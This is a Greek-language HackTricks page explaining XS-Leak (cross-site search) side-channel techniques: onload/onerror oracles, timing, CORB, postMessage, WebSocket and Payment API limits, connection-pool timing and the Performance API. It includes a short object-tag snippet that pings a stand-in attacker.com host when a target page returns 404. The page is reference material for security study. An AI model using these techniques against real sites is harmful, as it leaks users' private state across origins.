hacktricks/pentesting-web/xs-search.md

110 KiB
Raw Blame History

XS-Search/XS-Leaks

Χρησιμοποιήστε Trickest για να δημιουργήσετε και να αυτοματοποιήσετε ροές εργασίας με τη βοήθεια των πιο προηγμένων εργαλείων της κοινότητας.
Αποκτήστε πρόσβαση σήμερα:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

{% hint style="success" %} Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks
{% endhint %}

Βασικές Πληροφορίες

Το XS-Search είναι μια μέθοδος που χρησιμοποιείται για εξαγωγή πληροφοριών από διαφορετικές προελεύσεις εκμεταλλευόμενη ευπάθειες πλευρικών καναλιών.

Τα κύρια στοιχεία που εμπλέκονται σε αυτήν την επίθεση περιλαμβάνουν:

  • Ευάλωτος Ιστός: Ο στόχος ιστότοπος από τον οποίο προορίζεται να εξαχθούν πληροφορίες.
  • Ιστός Επιτιθέμενου: Ο κακόβουλος ιστότοπος που δημιουργείται από τον επιτιθέμενο, τον οποίο επισκέπτεται το θύμα, φιλοξενώντας την εκμετάλλευση.
  • Μέθοδος Συμπερίληψης: Η τεχνική που χρησιμοποιείται για να ενσωματώσει τον Ευάλωτο Ιστό στον Ιστό του Επιτιθέμενου (π.χ., window.open, iframe, fetch, HTML tag με href, κ.λπ.).
  • Τεχνική Διαρροής: Τεχνικές που χρησιμοποιούνται για να διακρίνουν διαφορές στην κατάσταση του Ευάλωτου Ιστού με βάση τις πληροφορίες που συλλέγονται μέσω της μεθόδου συμπερίληψης.
  • Καταστάσεις: Οι δύο πιθανές συνθήκες του Ευάλωτου Ιστού, τις οποίες ο επιτιθέμενος στοχεύει να διακρίνει.
  • Ανιχνεύσιμες Διαφορές: Παρατηρήσιμες παραλλαγές στις οποίες ο επιτιθέμενος βασίζεται για να συμπεράνει την κατάσταση του Ευάλωτου Ιστού.

Ανιχνεύσιμες Διαφορές

Διάφορες πτυχές μπορούν να αναλυθούν για να διαφοροποιήσουν τις καταστάσεις του Ευάλωτου Ιστού:

  • Κωδικός Κατάστασης: Διαχωρισμός μεταξύ διαφορετικών κωδικών κατάστασης HTTP από διαφορετικές προελεύσεις, όπως σφάλματα διακομιστή, σφάλματα πελάτη ή σφάλματα αυθεντικοποίησης.
  • Χρήση API: Αναγνώριση της χρήσης Web APIs σε σελίδες, αποκαλύπτοντας εάν μια σελίδα από διαφορετική προέλευση χρησιμοποιεί μια συγκεκριμένη JavaScript Web API.
  • Ανακατευθύνσεις: Ανίχνευση πλοηγήσεων σε διαφορετικές σελίδες, όχι μόνο HTTP ανακατευθύνσεις αλλά και αυτές που ενεργοποιούνται από JavaScript ή HTML.
  • Περιεχόμενο Σελίδας: Παρατήρηση παραλλαγών στο σώμα της απόκρισης HTTP ή σε υπο-πόρους της σελίδας, όπως ο αριθμός ενσωματωμένων πλαισίων ή διαφορές μεγέθους σε εικόνες.
  • HTTP Header: Σημείωση της παρουσίας ή πιθανώς της τιμής ενός συγκεκριμένου HTTP response header, συμπεριλαμβανομένων των headers όπως X-Frame-Options, Content-Disposition και Cross-Origin-Resource-Policy.
  • Χρόνος: Παρατήρηση σταθερών διαφορών χρόνου μεταξύ των δύο καταστάσεων.

Μέθοδοι Συμπερίληψης

  • HTML Στοιχεία: Το HTML προσφέρει διάφορα στοιχεία για συμπερίληψη πόρων από διαφορετικές προελεύσεις, όπως στυλ, εικόνες ή σενάρια, αναγκάζοντας τον περιηγητή να ζητήσει έναν μη-HTML πόρο. Μια συλλογή πιθανών HTML στοιχείων για αυτόν τον σκοπό μπορεί να βρεθεί στο https://github.com/cure53/HTTPLeaks.
  • Πλαίσια: Στοιχεία όπως iframe, object και embed μπορούν να ενσωματώσουν HTML πόρους απευθείας στη σελίδα του επιτιθέμενου. Εάν η σελίδα λείπει προστασία πλαισίωσης, η JavaScript μπορεί να έχει πρόσβαση στο αντικείμενο παραθύρου του πλαισιωμένου πόρου μέσω της ιδιότητας contentWindow.
  • Αναδυόμενα Παράθυρα: Η μέθοδος window.open ανοίγει έναν πόρο σε μια νέα καρτέλα ή παράθυρο, παρέχοντας μια χείρα παραθύρου για την αλληλεπίδραση της JavaScript με μεθόδους και ιδιότητες σύμφωνα με το SOP. Τα αναδυόμενα παράθυρα, που χρησιμοποιούνται συχνά σε διαδικασίες αυτόματης σύνδεσης, παρακάμπτουν τους περιορισμούς πλαισίωσης και cookie ενός πόρου στόχου. Ωστόσο, οι σύγχρονοι περιηγητές περιορίζουν τη δημιουργία αναδυόμενων παραθύρων σε ορισμένες ενέργειες χρηστών.
  • Αιτήματα JavaScript: Η JavaScript επιτρέπει άμεσες αιτήσεις σε πόρους στόχου χρησιμοποιώντας XMLHttpRequests ή το Fetch API. Αυτές οι μέθοδοι προσφέρουν ακριβή έλεγχο πάνω στην αίτηση, όπως η επιλογή να ακολουθήσουν HTTP ανακατευθύνσεις.

Τεχνικές Διαρροής

  • Διαχειριστής Γεγονότων: Μια κλασική τεχνική διαρροής στα XS-Leaks, όπου οι διαχειριστές γεγονότων όπως onload και onerror παρέχουν πληροφορίες σχετικά με την επιτυχία ή αποτυχία φόρτωσης πόρων.
  • Μηνύματα Σφάλματος: Εξαιρέσεις JavaScript ή ειδικές σελίδες σφαλμάτων μπορούν να παρέχουν πληροφορίες διαρροής είτε άμεσα από το μήνυμα σφάλματος είτε διαχωρίζοντας την παρουσία και την απουσία του.
  • Παγκόσμια Όρια: Φυσικοί περιορισμοί ενός περιηγητή, όπως η χωρητικότητα μνήμης ή άλλοι επιβεβλημένοι περιορισμοί του περιηγητή, μπορούν να σήμαναν πότε έχει φτάσει ένα όριο, λειτουργώντας ως τεχνική διαρροής.
  • Παγκόσμια Κατάσταση: Ανιχνεύσιμες αλληλεπιδράσεις με τις παγκόσμιες καταστάσεις των περιηγητών (π.χ., η διεπαφή Ιστορίας) μπορούν να εκμεταλλευτούν. Για παράδειγμα, ο αριθμός των καταχωρήσεων στην ιστορία ενός περιηγητή μπορεί να προσφέρει ενδείξεις σχετικά με σελίδες από διαφορετικές προελεύσεις.
  • Performance API: Αυτό το API παρέχει λεπτομέρειες απόδοσης της τρέχουσας σελίδας, συμπεριλαμβανομένου του χρόνου δικτύου για το έγγραφο και τους φορτωμένους πόρους, επιτρέποντας συμπεράσματα σχετικά με τους ζητούμενους πόρους.
  • Αναγνώσιμες Ιδιότητες: Ορισμένες HTML ιδιότητες είναι αναγνώσιμες από διαφορετικές προελεύσεις και μπορούν να χρησιμοποιηθούν ως τεχνική διαρροής. Για παράδειγμα, η ιδιότητα window.frame.length επιτρέπει στη JavaScript να μετρά τα πλαίσια που περιλαμβάνονται σε μια ιστοσελίδα από διαφορετική προέλευση.

Εργαλείο & Έγγραφο XSinator

Το XSinator είναι ένα αυτόματο εργαλείο για έλεγχο περιηγητών έναντι αρκετών γνωστών XS-Leaks που εξηγούνται στο έγγραφό του: https://xsinator.com/paper.pdf

Μπορείτε να έχετε πρόσβαση στο εργαλείο στο https://xsinator.com/

{% hint style="warning" %} Εξαιρούμενες XS-Leaks: Αναγκαστήκαμε να εξαιρέσουμε XS-Leaks που βασίζονται σε εργαζόμενους υπηρεσιών καθώς θα παρεμβαίνουν σε άλλες διαρροές στο XSinator. Επιπλέον, επιλέξαμε να εξαιρέσουμε XS-Leaks που βασίζονται σε κακή διαμόρφωση και σφάλματα σε μια συγκεκριμένη εφαρμογή ιστού. Για παράδειγμα, κακές διαμορφώσεις CrossOrigin Resource Sharing (CORS), διαρροές postMessage ή Cross-Site Scripting. Επιπλέον, εξαιρέσαμε τις χρονικά βασισμένες XS-Leaks καθώς συχνά υποφέρουν από αργές, θορυβώδεις και ανακριβείς διαδικασίες. {% endhint %}


Χρησιμοποιήστε Trickest για να δημιουργήσετε και να αυτοματοποιήσετε ροές εργασίας με τη βοήθεια των πιο προηγμένων εργαλείων της κοινότητας.
Αποκτήστε πρόσβαση σήμερα:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Τεχνικές Βασισμένες στο Χρόνο

Ορισμένες από τις παρακάτω τεχνικές θα χρησιμοποιήσουν το χρόνο ως μέρος της διαδικασίας για να ανιχνεύσουν διαφορές στις πιθανές καταστάσεις των ιστοσελίδων. Υπάρχουν διάφοροι τρόποι μέτρησης του χρόνου σε έναν περιηγητή ιστού.

Ρολόγια: Το performance.now() API επιτρέπει στους προγραμματιστές να αποκτούν μετρήσεις χρόνου υψηλής ανάλυσης.
Υπάρχει ένας σημαντικός αριθμός APIs που μπορούν να καταχραστούν οι επιτιθέμενοι για να δημιουργήσουν έμμεσες ρολόγια: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS animations, και άλλα.
Για περισσότερες πληροφορίες: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Τεχνικές Διαχειριστή Γεγονότων

Onload/Onerror

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

Το παράδειγμα κώδικα προσπαθεί να φορτώσει αντικείμενα σενάριο από JS, αλλά άλλα tags όπως αντικείμενα, στυλ, εικόνες, ήχοι θα μπορούσαν επίσης να χρησιμοποιηθούν. Επιπλέον, είναι επίσης δυνατό να εισαχθεί το tag απευθείας και να δηλωθούν τα γεγονότα onload και onerror μέσα στο tag (αντί να τα εισάγουμε από JS).

Υπάρχει επίσης μια έκδοση χωρίς σενάριο αυτής της επίθεσης:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

In this case if example.com/404 is not found attacker.com/?error will be loaded.

Onload Timing

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Onload Timing + Forced Heavy Task

Αυτή η τεχνική είναι ακριβώς όπως η προηγούμενη, αλλά ο attacker θα αναγκάσει κάποια ενέργεια να διαρκέσει μια σχετική ποσότητα χρόνου όταν η απάντηση είναι θετική ή αρνητική και θα μετρήσει αυτόν τον χρόνο.

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

unload/beforeunload Timing

Ο χρόνος που απαιτείται για να ανακτηθεί μια πηγή μπορεί να μετρηθεί χρησιμοποιώντας τα unload και beforeunload γεγονότα. Το beforeunload γεγονός ενεργοποιείται όταν ο περιηγητής πρόκειται να πλοηγηθεί σε μια νέα σελίδα, ενώ το unload γεγονός συμβαίνει όταν η πλοήγηση πραγματοποιείται πραγματικά. Η διαφορά χρόνου μεταξύ αυτών των δύο γεγονότων μπορεί να υπολογιστεί για να προσδιοριστεί η διάρκεια που δαπάνησε ο περιηγητής για να ανακτήσει την πηγή.

Sandboxed Frame Timing + onload

Έχει παρατηρηθεί ότι στην απουσία των Framing Protections, ο χρόνος που απαιτείται για να φορτώσει μια σελίδα και οι υποπηγές της μέσω του δικτύου μπορεί να μετρηθεί από έναν επιτιθέμενο. Αυτή η μέτρηση είναι συνήθως δυνατή επειδή ο χειριστής onload ενός iframe ενεργοποιείται μόνο μετά την ολοκλήρωση της φόρτωσης των πόρων και της εκτέλεσης JavaScript. Για να παρακαμφθεί η μεταβλητότητα που εισάγεται από την εκτέλεση σεναρίων, ένας επιτιθέμενος μπορεί να χρησιμοποιήσει το sandbox χαρακτηριστικό μέσα στο <iframe>. Η συμπερίληψη αυτού του χαρακτηριστικού περιορίζει πολλές λειτουργίες, ιδίως την εκτέλεση JavaScript, διευκολύνοντας έτσι μια μέτρηση που επηρεάζεται κυρίως από την απόδοση του δικτύου.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Inclusion Methods: Frames
  • Detectable Difference: Περιεχόμενο Σελίδας
  • More info:
  • Summary: Αν μπορείτε να κάνετε τη σελίδα να εμφανίζει σφάλμα όταν προσπελάσετε το σωστό περιεχόμενο και να φορτώνει σωστά όταν προσπελάσετε οποιοδήποτε περιεχόμενο, τότε μπορείτε να δημιουργήσετε έναν βρόχο για να εξάγετε όλες τις πληροφορίες χωρίς να μετράτε τον χρόνο.
  • Code Example:

Υποθέστε ότι μπορείτε να εισάγετε τη σελίδα που έχει το μυστικό περιεχόμενο μέσα σε ένα Iframe.

Μπορείτε να κάνετε το θύμα να αναζητήσει το αρχείο που περιέχει "flag" χρησιμοποιώντας ένα Iframe (εκμεταλλευόμενοι ένα CSRF για παράδειγμα). Μέσα στο Iframe γνωρίζετε ότι το onload event θα εκτελείται πάντα τουλάχιστον μία φορά. Στη συνέχεια, μπορείτε να αλλάξετε τη διεύθυνση URL του iframe αλλάζοντας μόνο το περιεχόμενο του hash μέσα στη διεύθυνση URL.

Για παράδειγμα:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

Αν η πρώτη διεύθυνση URL φορτώθηκε επιτυχώς, τότε, όταν αλλάξετε το hash μέρος της διεύθυνσης URL, το onload event δεν θα ενεργοποιηθεί ξανά. Αλλά αν η σελίδα είχε κάποιο είδος σφάλματος κατά τη φόρτωση, τότε, το onload event θα ενεργοποιηθεί ξανά.

Στη συνέχεια, μπορείτε να διακρίνετε μεταξύ μιας σωστά φορτωμένης σελίδας ή μιας σελίδας που έχει ένα σφάλμα όταν προσπελάζεται.

Javascript Execution

  • Inclusion Methods: Frames
  • Detectable Difference: Περιεχόμενο Σελίδας
  • More info:
  • Summary: Αν η σελίδα επιστρέφει το ευαίσθητο περιεχόμενο, ή ένα περιεχόμενο που μπορεί να ελεγχθεί από τον χρήστη. Ο χρήστης θα μπορούσε να ορίσει έγκυρο JS κώδικα στην αρνητική περίπτωση, να φορτώνει κάθε προσπάθεια μέσα σε <script> ετικέτες, έτσι σε αρνητικές περιπτώσεις ο κώδικας των επιτιθεμένων εκτελείται, και σε θετικές περιπτώσεις τίποτα δεν θα εκτελείται.
  • Code Example:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • Inclusion Methods: HTML Elements
  • Detectable Difference: Κωδικός Κατάστασης & Επικεφαλίδες
  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Summary: Cross-Origin Read Blocking (CORB) είναι ένα μέτρο ασφαλείας που αποτρέπει τις ιστοσελίδες από το να φορτώνουν ορισμένους ευαίσθητους πόρους από άλλες προελεύσεις για να προστατεύσουν από επιθέσεις όπως το Spectre. Ωστόσο, οι επιτιθέμενοι μπορούν να εκμεταλλευτούν τη συμπεριφορά προστασίας του. Όταν μια απάντηση που υπόκειται σε CORB επιστρέφει έναν CORB protected Content-Type με nosniff και έναν κωδικό κατάστασης 2xx, το CORB αφαιρεί το σώμα και τις επικεφαλίδες της απάντησης. Οι επιτιθέμενοι που παρατηρούν αυτό μπορούν να συμπεράνουν τη συνδυασμένη κατάσταση κωδικού (που υποδηλώνει επιτυχία ή σφάλμα) και το Content-Type (που δηλώνει αν είναι προστατευμένο από CORB), οδηγώντας σε πιθανή διαρροή πληροφοριών.
  • Code Example:

Ελέγξτε τον σύνδεσμο περισσότερων πληροφοριών για περισσότερες πληροφορίες σχετικά με την επίθεση.

onblur

Είναι δυνατόν να φορτώσετε μια σελίδα μέσα σε ένα iframe και να χρησιμοποιήσετε το #id_value για να κάνετε τη σελίδα να εστιάζει στο στοιχείο του iframe με το υποδεικνυόμενο id, στη συνέχεια αν ενεργοποιηθεί ένα σήμα onblur, το στοιχείο ID υπάρχει.
Μπορείτε να εκτελέσετε την ίδια επίθεση με portal ετικέτες.

postMessage Broadcasts

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: Χρήση API
  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Summary: Συγκέντρωση ευαίσθητων πληροφοριών από ένα postMessage ή χρήση της παρουσίας των postMessages ως οράκλας για να γνωρίζετε την κατάσταση του χρήστη στη σελίδα
  • Code Example: Οποιοσδήποτε κώδικας ακούει για όλα τα postMessages.

Οι εφαρμογές χρησιμοποιούν συχνά postMessage broadcasts για να επικοινωνούν μεταξύ διαφορετικών προελεύσεων. Ωστόσο, αυτή η μέθοδος μπορεί ακούσια να εκθέσει ευαίσθητες πληροφορίες αν η παράμετρος targetOrigin δεν καθοριστεί σωστά, επιτρέποντας σε οποιοδήποτε παράθυρο να λάβει τα μηνύματα. Επιπλέον, η απλή πράξη λήψης ενός μηνύματος μπορεί να λειτουργήσει ως οράκλας; για παράδειγμα, ορισμένα μηνύματα μπορεί να αποστέλλονται μόνο σε χρήστες που είναι συνδεδεμένοι. Επομένως, η παρουσία ή η απουσία αυτών των μηνυμάτων μπορεί να αποκαλύψει πληροφορίες σχετικά με την κατάσταση ή την ταυτότητα του χρήστη, όπως αν είναι αυθεντικοποιημένος ή όχι.

Χρησιμοποιήστε Trickest για να δημιουργήσετε και να αυτοματοποιήσετε ροές εργασίας που υποστηρίζονται από τα πιο προηγμένα εργαλεία της κοινότητας.
Αποκτήστε πρόσβαση σήμερα:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Global Limits Techniques

WebSocket API

Είναι δυνατόν να προσδιορίσετε αν, και πόσες, συνδέσεις WebSocket χρησιμοποιεί μια στοχευμένη σελίδα. Αυτό επιτρέπει σε έναν επιτιθέμενο να ανιχνεύσει τις καταστάσεις της εφαρμογής και να διαρρεύσει πληροφορίες που σχετίζονται με τον αριθμό των συνδέσεων WebSocket.

Αν μια προέλευση χρησιμοποιεί το μέγιστο ποσό αντικειμένων σύνδεσης WebSocket, ανεξάρτητα από την κατάσταση των συνδέσεών τους, η δημιουργία νέων αντικειμένων θα έχει ως αποτέλεσμα εξαιρέσεις JavaScript. Για να εκτελέσετε αυτήν την επίθεση, η ιστοσελίδα του επιτιθέμενου ανοίγει την στοχευμένη ιστοσελίδα σε ένα αναδυόμενο παράθυρο ή iframe και στη συνέχεια, αφού έχει φορτωθεί η στοχευμένη ιστοσελίδα, προσπαθεί να δημιουργήσει τον μέγιστο αριθμό δυνατών συνδέσεων WebSocket. Ο αριθμός των εκτιναγμένων εξαιρέσεων είναι ο αριθμός των συνδέσεων WebSocket που χρησιμοποιούνται από την στοχευμένη ιστοσελίδα.

Payment API

Αυτή η XS-Leak επιτρέπει σε έναν επιτιθέμενο να ανιχνεύσει πότε μια σελίδα από άλλη προέλευση ξεκινά ένα αίτημα πληρωμής.

Επειδή μόνο ένα αίτημα πληρωμής μπορεί να είναι ενεργό τη φορά, αν η στοχευμένη ιστοσελίδα χρησιμοποιεί το Payment Request API, οποιαδήποτε περαιτέρω προσπάθεια να χρησιμοποιήσει αυτό το API θα αποτύχει**, και θα προκαλέσει μια εξαίρεση JavaScript. Ο επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό προσπαθώντας περιοδικά να εμφανίσει το UI του Payment API. Αν μια προσπάθεια προκαλέσει εξαίρεση, η στοχευμένη ιστοσελίδα το χρησιμοποιεί αυτή τη στιγμή. Ο επιτιθέμενος μπορεί να κρύψει αυτές τις περιοδικές προσπάθειες κλείνοντας αμέσως το UI μετά τη δημιουργία του.

Timing the Event Loop

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

Η JavaScript λειτουργεί σε ένα μονόνημα event loop μοντέλο ταυτόχρονης εκτέλεσης, υποδηλώνοντας ότι μπορεί να εκτελεί μόνο μία εργασία τη φορά. Αυτή η χαρακτηριστική μπορεί να εκμεταλλευτεί για να μετρήσει πόσο χρόνο χρειάζεται ο κώδικας από μια διαφορετική προέλευση για να εκτελεστεί. Ένας επιτιθέμενος μπορεί να μετρήσει τον χρόνο εκτέλεσης του δικού του κώδικα στο event loop αποστέλλοντας συνεχώς γεγονότα με σταθερές ιδιότητες. Αυτά τα γεγονότα θα επεξεργαστούν όταν η δεξαμενή γεγονότων είναι άδεια. Αν και άλλες προελεύσεις αποστέλλουν επίσης γεγονότα στην ίδια δεξαμενή, ένας επιτιθέμενος μπορεί να συμπεράνει τον χρόνο που χρειάζεται για να εκτελούνται αυτά τα εξωτερικά γεγονότα παρατηρώντας καθυστερήσεις στην εκτέλεση των δικών του εργασιών. Αυτή η μέθοδος παρακολούθησης του event loop για καθυστερήσεις μπορεί να αποκαλύψει τον χρόνο εκτέλεσης του κώδικα από διαφορετικές προελεύσεις, ενδεχομένως εκθέτοντας ευαίσθητες πληροφορίες.

{% hint style="warning" %} Σε έναν χρονισμό εκτέλεσης είναι δυνατόν να εξαλείψετε παράγοντες δικτύου για να αποκτήσετε πιο ακριβείς μετρήσεις. Για παράδειγμα, φορτώνοντας τους πόρους που χρησιμοποιούνται από τη σελίδα πριν τη φορτώσετε. {% endhint %}

Busy Event Loop

  • Inclusion Methods:
  • Detectable Difference: Χρονισμός (γενικά λόγω Περιεχομένου Σελίδας, Κωδικός Κατάστασης)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Summary: Μια μέθοδος για να μετρήσετε τον χρόνο εκτέλεσης μιας διαδικασίας ιστού περιλαμβάνει σκόπιμα το μπλοκάρισμα του event loop ενός νήματος και στη συνέχεια το χρονισμό πόσο χρόνο χρειάζεται για να γίνει ξανά διαθέσιμο το event loop. Εισάγοντας μια μπλοκαρισμένη λειτουργία (όπως μια μακρά υπολογιστική διαδικασία ή μια συγχρονισμένη κλήση API) στο event loop και παρακολουθώντας τον χρόνο που χρειάζεται για να αρχίσει η εκτέλεση του επόμενου κώδικα, μπορεί κανείς να συμπεράνει τη διάρκεια των εργασιών που εκτελούνταν στο event loop κατά τη διάρκεια της μπλοκαρισμένης περιόδου. Αυτή η τεχνική εκμεταλλεύεται τη μονόνημα φύση του event loop της JavaScript, όπου οι εργασίες εκτελούνται διαδοχικά, και μπορεί να παρέχει πληροφορίες σχετικά με την απόδοση ή τη συμπεριφορά άλλων λειτουργιών που μοιράζονται το ίδιο νήμα.
  • Code Example:

Ένα σημαντικό πλεονέκτημα της τεχνικής μέτρησης του χρόνου εκτέλεσης κλειδώνοντας το event loop είναι η δυνατότητά της να παρακάμψει Site Isolation. Site Isolation είναι μια λειτουργία ασφαλείας που χωρίζει διαφορετικές ιστοσελίδες σε ξεχωριστές διαδικασίες, με στόχο να αποτρέψει κακόβουλες ιστοσελίδες από το να έχουν άμεση πρόσβαση σε ευαίσθητα δεδομένα από άλλες ιστοσελίδες. Ωστόσο, επηρεάζοντας τον χρονισμό εκτέλεσης μιας άλλης προέλευσης μέσω του κοινόχρηστου event loop, ένας επιτιθέμενος μπορεί έμμεσα να εξάγει πληροφορίες σχετικά με τις δραστηριότητες αυτής της προέλευσης. Αυτή η μέθοδος δεν βασίζεται σε άμεση πρόσβαση στα δεδομένα της άλλης προέλευσης αλλά παρατηρεί την επίδραση των δραστηριοτήτων αυτής της προέλευσης στο κοινόχρηστο event loop, αποφεύγοντας έτσι τα προστατευτικά εμπόδια που έχουν καθοριστεί από το Site Isolation.

{% hint style="warning" %} Σε έναν χρονισμό εκτέλεσης είναι δυνατόν να εξαλείψετε παράγοντες δικτύου για να αποκτήσετε πιο ακριβείς μετρήσεις. Για παράδειγμα, φορτώνοντας τους πόρους που χρησιμοποιούνται από τη σελίδα πριν τη φορτώσετε. {% endhint %}

Connection Pool

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Χρονισμός (γενικά λόγω Περιεχομένου Σελίδας, Κωδικός Κατάστασης)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Summary: Ένας επιτιθέμενος θα μπορούσε να κλειδώσει όλες τις υποδοχές εκτός από 1, να φορτώσει τον στοχευμένο ιστό και ταυτόχρονα να φορτώσει μια άλλη σελίδα, ο χρόνος μέχρι να αρχίσει να φορτώνει η τελευταία σελίδα είναι ο χρόνος που χρειάστηκε η στοχευμένη σελίδα για να φορτώσει.
  • Code Example:

{% content-ref url="xs-search/connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

Οι περιηγητές χρησιμοποιούν υποδοχές για την επικοινωνία με τον διακομιστή, αλλά λόγω των περιορισμένων πόρων του λειτουργικού συστήματος και του υλικού, οι περιηγητές αναγκάζονται να επιβάλουν ένα όριο στον αριθμό των ταυτόχρονων υποδοχών. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτόν τον περιορισμό μέσω των εξής βημάτων:

  1. Προσδιορίστε το όριο υποδοχών του περιηγητή, για παράδειγμα, 256 παγκόσμιες υποδοχές.
  2. Καταλάβετε 255 υποδοχές για παρατεταμένη διάρκεια ξεκινώντας 255 αιτήματα σε διάφορους διακομιστές, σχεδιασμένα να κρατούν τις συνδέσεις ανοιχτές χωρίς να ολοκληρώνονται.
  3. Χρησιμοποιήστε την 256η υποδοχή για να στείλετε ένα αίτημα στη στοχευμένη σελίδα.
  4. Προσπαθήστε να κάνετε ένα 257ο αίτημα σε διαφορετικό διακομιστή. Δεδομένου ότι όλες οι υποδοχές είναι σε χρήση (όπως αναφέρεται στα βήματα 2 και 3), αυτό το αίτημα θα είναι σε αναμονή μέχρι να γίνει διαθέσιμη μια υποδοχή. Η καθυστέρηση πριν προχωρήσει αυτό το αίτημα παρέχει στον επιτιθέμενο πληροφορίες χρονισμού σχετικά με τη δικτυακή δραστηριότητα που σχετίζεται με την 256η υποδοχή (την υποδοχή της στοχευμένης σελίδας). Αυτή η συμπερασματική είναι δυνατή επειδή οι 255 υποδοχές από το βήμα 2 είναι ακόμα απασχολημένες, υποδηλώνοντας ότι οποιαδήποτε νέα διαθέσιμη υποδοχή πρέπει να είναι αυτή που απελευθερώθηκε από το βήμα 3. Ο χρόνος που χρειάζεται για να γίνει διαθέσιμη η 256η υποδοχή συνδέεται άμεσα με τον χρόνο που απαιτείται για να ολοκληρωθεί το αίτημα στη στοχευμένη σελίδα.

Για περισσότερες πληροφορίες: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Χρονισμός (γενικά λόγω Περιεχομένου Σελίδας, Κωδικός Κατάστασης)
  • More info:
  • Summary: Είναι όπως η προηγούμενη τεχνική αλλά αντί να χρησιμοποιεί όλες τις υποδοχές, το Google Chrome θέτει ένα όριο 6 ταυτόχρονων αιτημάτων στην ίδια προέλευση. Αν μπλοκάρουμε 5 και στη συνέχεια εκκινήσουμε ένα 6ο αίτημα μπορούμε να χρονίσουμε το και αν καταφέρουμε να κάνουμε τη σελίδα θύμα να στείλει περισσότερα αιτήματα στο ίδιο endpoint για να ανιχνεύσουμε μια κατάσταση της σελίδας, το 6ο αίτημα θα διαρκέσει περισσότερο και μπορούμε να το ανιχνεύσουμε.

Performance API Techniques

Η Performance API προσφέρει πληροφορίες σχετικά με τις μετρικές απόδοσης των διαδικτυακών εφαρμογών, εμπλουτισμένη περαιτέρω από την Resource Timing API. Η Resource Timing API επιτρέπει την παρακολούθηση λεπτομερών χρονισμών αιτημάτων δικτύου, όπως η διάρκεια των αιτημάτων. Σημαντικά, όταν οι διακομιστές περιλαμβάνουν την επικεφαλίδα Timing-Allow-Origin: * στις απαντήσεις τους, επιπλέον δεδομένα όπως το μέγεθος μεταφοράς και ο χρόνος αναζήτησης τομέα γίνονται διαθέσιμα.

Αυτή η πλούσια συλλογή δεδομένων μπορεί να ανακτηθεί μέσω μεθόδων όπως performance.getEntries ή performance.getEntriesByName, παρέχοντας μια ολοκληρωμένη εικόνα των πληροφοριών που σχετίζονται με την απόδοση. Επιπλέον, η API διευκολύνει τη μέτρηση χρόνων εκτέλεσης υπολογίζοντας τη διαφορά μεταξύ χρονοσημάνσεων που αποκτώνται από performance.now(). Ωστόσο, αξίζει να σημειωθεί ότι για ορισμένες λειτουργίες σε περιηγητές όπως το Chrome, η ακρίβεια του performance.now() μπορεί να περιορίζεται σε χιλιοστά του δευτερολέπτου, γεγονός που μπορεί να επηρεάσει την λεπτομέρεια των μετρήσεων χρονισμού.

Πέρα από τις μετρήσεις χρονισμού, η Performance API μπορεί να αξιοποιηθεί για πληροφορίες που σχετίζονται με την ασφάλεια. Για παράδειγμα, η παρουσία ή η απουσία σελίδων στο αντικείμενο performance στο Chrome μπορεί να υποδηλώνει την εφαρμογή του X-Frame-Options. Συγκεκριμένα, αν μια σελίδα αποκλείεται από την απόδοση σε ένα πλαίσιο λόγω του X-Frame-Options, δεν θα καταγραφεί στο αντικείμενο performance, παρέχοντας μια λεπτή ένδειξη σχετικά με τις πολιτικές πλαισίωσης της σελίδας.

Error Leak

Είναι δυνατόν να διακρίνετε μεταξύ των κωδικών κατάστασης HTTP επειδή τα αιτήματα που οδηγούν σε σφάλμα δεν δημιουργούν μια είσοδο απόδοσης.

Style Reload Error

Στην προηγούμενη τεχνική εντοπίστηκαν επίσης δύο περιπτώσεις όπου σφάλματα του περιηγητή στο GC οδηγούν σε πόρους που φορτώνονται δύο φορές όταν αποτυγχάνουν να φορτωθούν. Αυτό θα έχει ως αποτέλεσμα πολλαπλές εισόδους στην Performance API και μπορεί έτσι να ανιχνευθεί.

Request Merging Error

Η τεχνική βρέθηκε σε έναν πίνακα στο αναφερόμενο έγγραφο αλλά δεν βρέθηκε περιγραφή της τεχνικής σε αυτό. Ωστόσο, μπορείτε να βρείτε τον πηγαίο κώδικα ελέγχοντας το https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Empty Page Leak

